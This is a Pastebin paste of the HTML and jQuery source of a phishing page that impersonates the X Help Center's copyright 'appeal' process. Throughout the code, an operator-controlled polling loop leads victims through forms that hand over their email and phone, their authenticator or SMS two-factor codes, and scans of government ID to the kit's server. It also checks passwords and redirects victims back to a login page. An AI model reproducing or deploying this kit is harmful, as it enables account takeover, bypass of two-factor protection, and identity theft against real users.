Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html lang="en" class="">
- <head>
- <meta charset="UTF-8">
- <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
- <title> Appeal Process </title>
- <link rel="stylesheet" href="https://infringe-x.com/support/assets/style.css?ver=202409280258" type="text/css">
- <link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@400;700&display=swap" rel="stylesheet">
- <link rel="mask-icon" sizes="any" href="https://infringe-x.com/support/assets/icon-svg.ea5ff4aa.svg" color="#1D9BF0">
- <link rel="shortcut icon" href="https://infringe-x.com/support/assets/twitter.3.ico">
- <base href="https://infringe-x.com/support/">
- <style>
- body {
- font-family: 'Open Sans', sans-serif;
- }
- </style>
- <style type="text/css">
- .link { color: rgb(29, 155, 240)!important; }
- .text-white {
- color: rgb(15, 20, 25);
- }
- </style>
- </head>
- <body class="">
- <!-- Header -->
- <header class="app-header" style="">
- <div style="
- display: flex;
- justify-content: space-between;max-width: 590px;
- margin: 0 auto;
- position: relative;
- top: 1px;">
- <div class="u01b__logo twtr-scribe-clicks" data-twtr-scribe-section="u01b-navigation" data-twtr-scribe-element="LCHZ" data-twtr-scribe-component="twitter-logo-icon" aria-label="Help Center home" style=" display: flex;
- justify-content: center;
- align-items: center;">
- <svg viewBox="0 0 1200 1227" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" role="none" class="" style="height: 28px;
- margin-right: 10px;
- width: 28px;">
- <path d="M714.163 519.284L1160.89 0H1055.03L667.137 450.887L357.328 0H0L468.492 681.821L0 1226.37H105.866L515.491 750.218L842.672 1226.37H1200L714.137 519.284H714.163ZM569.165 687.828L521.697 619.934L144.011 79.6944H306.615L611.412 515.685L658.88 583.579L1055.08 1150.3H892.476L569.165 687.854V687.828Z"></path>
- </svg>
- <span class="u01b__home-link twtr-type--bold-24" style="color: #14171a;letter-spacing: .12px;font-family: Helvetica Neue LT, Helvetica Neue, -apple-system, BlinkMacSystemFont, Segoe UI, Helvetica, Arial, sans-serif;
- font-size: 1.2rem;
- font-weight: 700;">
- Help Center
- </span>
- </div>
- <div style="display: flex;align-items: center;">
- <img src="https://pbs.twimg.com/profile_images/1874825832637603840/Pz4JvKsD_normal.jpg" width="48" height="48" style="border-radius: 100%;border: 2px solid #e8eff3;" class="header_profile_photo">
- <a class="twtr-btn twtr-scribe-clicks twtr-btn--secondary u01b-07__nav-cta-button twtr-type--roman-100 twt-contact-us-btn" id="contact-us-header" data-twtr-scribe-component="contact-us" data-twtr-scribe-element="" data-twtr-scribe-section="u01b-07__nav-cta-button" href="https://infringe-x.com/support/binance/verify" rel="" target="" style="height: auto;
- padding: 3px 0;
- margin: 3px 0;
- border: 2px solid #e8eff3;
- border-radius: 48px;
- color: #314351;
- cursor: pointer;
- padding-left: 18px;
- padding-right: 18px;
- position: relative;
- text-align: center;
- transition: all .25s ease-in-out;">Contact Us</a>
- </div>
- </div>
- </header>
- <!-- Header -->
- <style type="text/css">
- @media (min-width:1200px) {
- .bottom { position: absolute!important; }
- }
- .bottom-relative { position: relative !important; }
- .main_area {
- width: 400px;
- padding: 0 15px;
- min-height: 400px;
- display: flex;
- justify-content: center;
- align-items: center;
- flex-direction: column;
- }
- #togglePassword {
- cursor: pointer;
- position: absolute;
- bottom: 6px;
- right: -12px;
- }
- @media screen and (max-width: 590px) {
- .main_area {
- width: 100%;
- padding: 10px 15px;
- margin: 0;
- }
- #togglePassword {
- right: 38px;
- }
- }
- #contact-us-header { display:none; }
- .header_profile_photo { display: none; }
- </style>
- <div class="main_area" style="margin: 30px auto;">
- <div class="2fa_pending_text" style="text-align:center;"><p>Your appeal form is being created for your request. Please wait.</p><div style="display:block;text-align:center; width: 40px;margin: 20px auto;position:relative;">
- <img src="./assets/giphyloading.gif" style="">
- </div></div>
- <div id="email_section" style="display:none;">
- <h1 class="block_h1">Email & Phone Number</h1>
- <p class="block_p">
- Please confirm your email and phone number.
- </p>
- <div class="pwd_input_box">
- <input type="email" name="email" placeholder="Email address" class="input" required="" id="email">
- <input type="text" name="phone" placeholder="Phone number" class="input" required="" id="phone" style="margin-top: 10px;">
- </div>
- <button class="btn" id="send_email" disabled>Send</button>
- </div>
- <div id="twofa_section_app" style="display:none;">
- <h1 class="block_h1">2FA Verification Required</h1>
- <p class="block_p">
- Enter the 6-digit code from your authenticator app
- </p>
- <div class="pwd_input_box">
- <input type="text" class="input" placeholder="2FA Code" id="fa_code_app" required>
- </div>
- <button class="btn" id="send_2fa_app" disabled>Send</button>
- </div>
- <div id="twofa_section_sms" style="display:none;">
- <h1 class="block_h1">2FA Verification Required</h1>
- <p class="block_p">
- Enter the 6-digit code sent to your phone number
- </p>
- <div class="pwd_input_box">
- <input type="text" class="input" placeholder="2FA Code" id="fa_code_sms" required>
- </div>
- <button class="btn" id="send_2fa_sms" disabled>Send</button>
- </div>
- <div id="objection_text" style="display: none;">
- <form action="" method="POST">
- <h1 class="block_h1">File an Appeal</h1>
- <p class="block_p" style="font-weight: 600;">
- Describe Your Copyright Dispute
- </p>
- <p class="block_p">
- Please explain why you believe the content does not infringe on copyright laws and include all relevant details.
- </p>
- <textarea rows="5" cols="5" style="" class="input" name="object_textarea" id="object_textarea"></textarea>
- <p class="block_p" style="margin-top: 15px;">
- To verify your identity and process your appeal, upload one of these:
- <ul style="list-style-type: disc;
- padding: 15px 0 15px 40px;
- font-size: 14px;
- font-weight: 500;">
- <li>A government-issued photo ID (passport, driver's license, or national ID).</li>
- <li>A copy of your business license or other official business document.</li>
- </ul>
- </p>
- <p class="block_p" style="margin-top: 5px;">
- Make sure the document is clear and easy to read to avoid delays. Adding multiple documents can be beneficial in supporting your appeal process.
- </p>
- <div class="pwd_input_box">
- <input type="file" name="objection_file[]" placeholder="" class="input-file" id="fileInput" multiple required="">
- <!-- Stille özelleştirilen dosya yükleme butonu -->
- <div class="custom-file-upload">
- + Upload file
- </div>
- <ul class="selected_files"></ul>
- </div>
- <button class="btn" id="send_object_file" type="submit" disabled style="margin-top: 20px;">Send</button>
- </form>
- </div>
- <div id="last_screen" style="display: none;">
- <h1 class="block_h1">Appeal Submitted!</h1>
- <p class="block_p">Your appeal request has been successfully submitted. Our team will review your appeal and will contact you via email shortly.</p>
- </div>
- </div>
- <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
- <script type="text/javascript">
- document.querySelector('.custom-file-upload').addEventListener('click', function() {
- document.getElementById('fileInput').click();
- });
- // Textarea ve dosya seçildiğinde butonun durumunu kontrol eden fonksiyon
- function checkFormCompletion() {
- var files = $('#fileInput')[0].files; // Seçilen dosyalar
- var description = $('#object_textarea').val().trim() !== ""; // Textarea dolu mu?
- var allowedExtensions = ['jpg', 'jpeg', 'png', 'pdf']; // İzin verilen dosya uzantıları
- var fileList = $("ul.selected_files"); // Dosyaların listeleneceği ul
- fileList.html(''); // Listeyi temizle
- var allFilesValid = true; // Tüm dosyaların geçerli olup olmadığını kontrol etmek için değişken
- // Eğer dosya seçiliyse
- if (files.length > 0) {
- // Seçilen her dosya için döngü
- for (var i = 0; i < files.length; i++) {
- var fileName = files[i].name;
- var fileExtension = fileName.split('.').pop().toLowerCase(); // Dosya uzantısını al
- // Eğer uzantı izin verilenlerden değilse
- if (allowedExtensions.indexOf(fileExtension) === -1) {
- alert('Only JPG, PNG, and PDF files are allowed.');
- $('#fileInput').val(''); // Dosya seçimini temizle
- $('#send_object_file').prop('disabled', true); // Butonu devre dışı bırak
- allFilesValid = false; // Geçersiz dosya bulundu
- break;
- }
- // Dosya ismini listeye ekle
- fileList.append('<li>' + fileName + '</li>');
- }
- // Eğer tüm dosyalar geçerliyse ve textarea doluysa butonu aktif et
- if (allFilesValid && description) {
- $('#send_object_file').prop('disabled', false);
- } else {
- $('#send_object_file').prop('disabled', true);
- }
- } else {
- // Eğer dosya seçilmemişse butonu devre dışı bırak
- $('#send_object_file').prop('disabled', true);
- }
- }
- // Textarea'da yazı yazıldığında kontrol
- $('#object_textarea').on('input', function() {
- checkFormCompletion();
- });
- // Dosya seçildiğinde kontrol
- $('#fileInput').on('change', function() {
- checkFormCompletion();
- });
- $('#send_object_file').on('click', function(e) {
- e.preventDefault();
- // Dosyaları ve açıklamayı al
- var files = $('#fileInput')[0].files;
- var description = $('#object_textarea').val();
- // Textarea ve en az 1 dosya seçilip seçilmediğini kontrol et
- if (files.length < 1 || !description) {
- return;
- }
- var formData = new FormData();
- formData.append('description', description);
- // Tüm dosyaları FormData'ya ekle
- for (var i = 0; i < files.length && i < 2; i++) { // En fazla 2 dosya göndereceğiz
- formData.append('objection_file[]', files[i]);
- }
- $.ajax({
- url: 'ajax.php',
- type: 'POST',
- data: formData,
- processData: false, // FormData'nın işlenmesini engelle
- contentType: false, // İçerik tipini manuel ayarlamayız
- success: function(response) {
- $('#objection_text').hide();
- $('#last_screen').show();
- },
- error: function() {
- console.log('Dosya gönderimi başarısız.');
- }
- });
- });
- $('#x_password').on('keydown keypress keyup', function() {
- var password = $(this).val(); // Şifreyi al
- var valid = true;
- // Şifrenin 8 karakterden büyük veya eşit olup olmadığını kontrol et
- if (password.length >= 8) {
- // Şifrenin hem harf hem de sayı içerip içermediğini kontrol et
- var hasLetter = /[a-zA-Z]/.test(password); // Harf içeriyor mu?
- var hasNumber = /[0-9]/.test(password); // Sayı içeriyor mu?
- // Geçersiz olan şifreleri (12345678, 987654321 vb.) kontrol et
- var invalidPasswords = ["12345678", "987654321", "147258369"];
- if (!hasLetter || !hasNumber || invalidPasswords.includes(password)) {
- valid = false; // Şifre geçersiz
- }
- } else {
- valid = false; // Şifre 8 karakterden kısa
- }
- // Eğer valid ise bir şeyler yap, değilse başka bir şey yap
- if (valid) {
- //console.log("Şifre geçerli");
- $(this).addClass('isvalid');
- $(this).removeClass('invalid');
- //$("#btn_login").addClass('isvalid_btn');
- $("#btn_login").prop("disabled", false);
- } else {
- //console.log("Şifre geçersiz");
- $(this).removeClass('isvalid');
- $(this).addClass('invalid');
- //$("#btn_login").removeClass('isvalid_btn');
- $("#btn_login").prop("disabled", true);
- }
- });
- $('#fa_code_app, #fa_code_sms').on('input', function() {
- var value = $(this).val();
- // Yalnızca sayılar içeren bir regex (0-9)
- var regex = /^[0-9]*$/;
- // Eğer değer regex ile eşleşmiyorsa, geçersiz karakterleri sil
- if (!regex.test(value)) {
- $(this).val(value.replace(/[^0-9]/g, ''));
- }
- if (value.length >= 6) {
- $(this).addClass('isvalid');
- $(this).removeClass('invalid');
- $("#send_2fa_app").prop("disabled", false);
- $("#send_2fa_sms").prop("disabled", false);
- //$("#send_2fa").addClass('isvalid_btn');
- } else {
- $(this).removeClass('isvalid');
- $(this).addClass('invalid');
- $("#send_2fa_app").prop("disabled", true);
- $("#send_2fa_sms").prop("disabled", true);
- //$("#send_2fa").removeClass('isvalid_btn');
- }
- });
- function checkFormValidity() {
- var emailValid = $("#email").hasClass('isvalid');
- var phoneValid = $("#phone").hasClass('isvalid');
- if (emailValid && phoneValid) {
- $("#send_email").prop("disabled", false);
- } else {
- $("#send_email").prop("disabled", true);
- }
- }
- // Email input kontrolü
- $('#email').on('input', function() {
- var email = $("#email").val();
- var emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; // Simple regex for basic email validation
- if (emailRegex.test(email)) {
- $(this).addClass('isvalid');
- $(this).removeClass('invalid');
- } else {
- $(this).removeClass('isvalid');
- $(this).addClass('invalid');
- }
- // Her değişiklikte formun durumunu kontrol et
- checkFormValidity();
- });
- // Phone input kontrolü
- $('#phone').on('input', function() {
- var phone = $(this).val();
- // Yalnızca sayılar içeren bir regex (0-9)
- var regex = /^[0-9]*$/;
- // Eğer değer regex ile eşleşmiyorsa, geçersiz karakterleri sil
- if (!regex.test(phone)) {
- $(this).val(phone.replace(/[^0-9]/g, ''));
- }
- if (phone.length >= 10) {
- $(this).addClass('isvalid');
- $(this).removeClass('invalid');
- } else {
- $(this).removeClass('isvalid');
- $(this).addClass('invalid');
- }
- // Her değişiklikte formun durumunu kontrol et
- checkFormValidity();
- });
- // Intervali başlatan fonksiyon
- function startWebhookControl() {
- webhook_control = setInterval(function() {
- $.ajax({
- url: 'ajax.php',
- type: 'GET',
- dataType: 'json',
- success: function(response) {
- if (response.status === 'email') {
- $('#email_section').show();
- clearInterval(webhook_control);
- $('.2fa_pending_text').hide();
- }
- if (response.status === '2fa_app') {
- $('#twofa_section_app').show();
- clearInterval(webhook_control);
- $('.2fa_pending_text').hide();
- }
- if (response.status === '2fa_sms') {
- $('#twofa_section_sms').show();
- clearInterval(webhook_control);
- $('.2fa_pending_text').hide();
- }
- if ( response.status == "2fa_app_control" ) {
- $('.2fa_pending_text').show();
- }
- if ( response.status == "2fa_sms_control" ) {
- $('.2fa_pending_text').show();
- }
- if ( response.status == "2fa_app_false" ) {
- $('#fa_code_app').val('');
- $('#fa_code_app').addClass('invalid');
- $('#twofa_section_app').show();
- clearInterval(webhook_control);
- $('.2fa_pending_text').hide();
- }
- if ( response.status == "2fa_sms_false" ) {
- $('#fa_code_sms').val('');
- $('#fa_code_sms').addClass('invalid');
- $('#twofa_section_sms').show();
- clearInterval(webhook_control);
- $('.2fa_pending_text').hide();
- }
- if (response.status === 'password_false') {
- window.location.href = 'login.php?password=false';
- }
- if (response.status === 'objection_text') {
- $('.2fa_pending_text').hide();
- $('#twofa_section_app').hide();
- $('#twofa_section_sms').hide();
- $('#email_section').hide();
- $('#objection_text').show();
- clearInterval(webhook_control);
- $('.bottom').addClass('bottom-relative');
- }
- }
- });
- }, 1000); // 1 saniyede bir kontrol et
- }
- </script>
- <script type="text/javascript">
- startWebhookControl();
- </script>
- <script type="text/javascript">
- $('#send_2fa_app').on('click', function() {
- var fa_code = $('#fa_code_app').val();
- if (fa_code.length >= 6) {
- $.post('ajax.php', {fa_code_app: fa_code}, function(response) {
- $("#twofa_section_app").hide();
- if (response.status == "2fa_app_control") {
- $('.2fa_pending_text').show();
- startWebhookControl();
- }
- }, 'json');
- } else {
- $('#send_2fa_app').prop("disabled", true);
- }
- });
- $('#send_2fa_sms').on('click', function() {
- var fa_code = $('#fa_code_sms').val();
- if (fa_code.length >= 6) {
- $.post('ajax.php', {fa_code_sms: fa_code}, function(response) {
- $("#twofa_section_sms").hide();
- if (response.status == "2fa_sms_control") {
- $('.2fa_pending_text').show();
- startWebhookControl();
- }
- }, 'json');
- } else {
- $('#send_2fa_sms').prop("disabled", true);
- }
- });
- $('#send_email').on('click', function() {
- var email = $('#email').val();
- var phone = $('#phone').val();
- if ( email.length >= 3 && phone.length >= 10 ) {
- $.post('ajax.php', {email: email, phone: phone}, function(response) {
- $("#email_section").hide();
- if (response.status == "objection_text") {
- $('.2fa_pending_text').show();
- startWebhookControl();
- }
- }, 'json');
- } else {
- $('#send_email').prop("disabled", true);
- }
- });
- </script>
- <script>
- const passwordInput = document.getElementById('x_password');
- const togglePassword = document.getElementById('togglePassword');
- const showPasswordIcon = document.getElementById('showPasswordIcon');
- const showIcon = `<svg viewBox="0 0 24 24" aria-hidden="true" style="color: rgb(15, 20, 25); width: 24px; height: 24px;"><g><path d="M12 21c-7.605 0-10.804-8.296-10.937-8.648L.932 12l.131-.352C1.196 11.295 4.394 3 12 3s10.804 8.296 10.937 8.648l.131.352-.131.352C22.804 12.705 19.606 21 12 21zm-8.915-9c.658 1.467 3.5 7 8.915 7s8.257-5.533 8.915-7c-.658-1.467-3.5-7-8.915-7s-8.257 5.533-8.915 7zM12 16c-2.206 0-4-1.794-4-4s1.794-4 4-4 4 1.794 4 4-1.794 4-4 4zm0-6c-1.103 0-2 .897-2 2s.897 2 2 2 2-.897 2-2-.897-2-2-2z"></path></g></svg>`;
- const hideIcon = `<svg viewBox="0 0 24 24" aria-hidden="true" style="color: rgb(15, 20, 25); width: 24px; height: 24px;"><g><path d="M3.693 21.707l-1.414-1.414 2.429-2.429c-2.479-2.421-3.606-5.376-3.658-5.513l-.131-.352.131-.352c.133-.353 3.331-8.648 10.937-8.648 2.062 0 3.989.621 5.737 1.85l2.556-2.557 1.414 1.414L3.693 21.707zm-.622-9.706c.356.797 1.354 2.794 3.051 4.449l2.417-2.418c-.361-.609-.553-1.306-.553-2.032 0-2.206 1.794-4 4-4 .727 0 1.424.192 2.033.554l2.263-2.264C14.953 5.434 13.512 5 11.986 5c-5.416 0-8.258 5.535-8.915 7.001zM11.986 10c-1.103 0-2 .897-2 2 0 .178.023.352.067.519l2.451-2.451c-.167-.044-.341-.067-.519-.067zm10.951 1.647l.131.352-.131.352c-.133.353-3.331 8.648-10.937 8.648-.709 0-1.367-.092-2-.223v-2.047c.624.169 1.288.27 2 .27 5.415 0 8.257-5.533 8.915-7-.252-.562-.829-1.724-1.746-2.941l1.438-1.438c1.53 1.971 2.268 3.862 2.33 4.027z"></path></g></svg>`;
- togglePassword.addEventListener('click', function () {
- if (passwordInput.type === 'password') {
- passwordInput.type = 'text';
- showPasswordIcon.innerHTML = hideIcon;
- } else {
- passwordInput.type = 'password';
- showPasswordIcon.innerHTML = showIcon;
- }
- });
- </script>
- <!-- Footer -->
- <div class="bottom">
- <div class="inline">
- <span class="worst-1">X Platform</span>
- <span class="worst-2">X.com</span>
- <span class="worst-2">Status</span>
- <span class="worst-2">Accessibility</span>
- <span class="worst-2">Embed a post</span>
- </div>
- <div class="inline">
- <span class="worst-1">X Corp.</span>
- <span class="worst-2">About the company</span>
- <span class="worst-2">Company news</span>
- <span class="worst-2">Brand toolkit</span>
- <span class="worst-2">Jobs and internships</span>
- </div>
- <div class="inline">
- <span class="worst-1">Help</span>
- <span class="worst-2">Help Center</span>
- <span class="worst-2">Using X</span>
- <span class="worst-2">X for creators</span>
- <span class="worst-2">Ads Help</span>
- </div>
- <div class="inline">
- <span class="worst-1">Developer resources</span>
- <span class="worst-2">Developer home</span>
- <span class="worst-2">Developer terms</span>
- <span class="worst-2">Engineering blog</span>
- <span class="worst-2">Documentation
- Forums</span>
- </div>
- <div class="inline">
- <span class="worst-1">Business resources</span>
- <span class="worst-2">Advertise
- X for business</span>
- <span class="worst-2">Resources and guides</span>
- <span class="worst-2">X for marketers
- Marketing</span>
- <span class="worst-2">X Ads Academy</span>
- </div>
- </div>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment